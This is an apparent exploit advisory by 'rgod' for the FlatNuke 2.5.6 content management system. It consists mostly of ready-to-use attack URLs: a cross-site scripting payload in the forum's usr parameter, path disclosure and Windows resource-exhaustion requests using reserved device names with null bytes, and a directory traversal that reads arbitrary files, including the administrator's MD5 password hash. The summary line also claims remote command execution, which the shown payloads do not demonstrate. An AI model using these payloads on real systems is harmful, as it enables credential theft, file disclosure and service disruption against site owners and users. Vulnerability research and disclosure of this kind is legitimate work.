FlatNuke version 2.5.6 suffers from remote command execution, cross site scripting, and path disclosure flaws. Detailed exploitation provided.
acd8a3dbf0ed55c669e06c2ab4803e49531560cd1dbf89d73564346bb8eee69f
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-identifier">Flatnuke 2.5.6 Underlying system information disclosure / Administrative & users credentials disclosure
/ cross site scripting / path disclosure / resource consumption poc
software:
site: http://flatnuke.sourceforge.net/flatnuke/
1) cross site scripting:
http://[target]/[path]/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!--
2) path disclosure:
2.a) http://[target]/[path]/print.php?news=com1%00&mod=whatever
and so on calling MS-DOS reserved device name for news parameter...
2.b) http://[target]/[path]/index.php?mod=read&id=whatever
3) resource consumption:
on Windows:
http://[target]/[path]/print.php?news=con%00&mod=ciao
http://[target]/[path]/index.php?mod=read&id=../forum/users/con%00
4)
a user can retrieve any file on target system, example admin MD5 password hash disclosure:
http://[target]/[path]/index.php?mod=read&id=../forum/users/admin.php%00
generally:
http://[target]/[path]/index.php?mod=read&id=../forum/users/[user].php%00
rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it
</span></span>
</code></pre>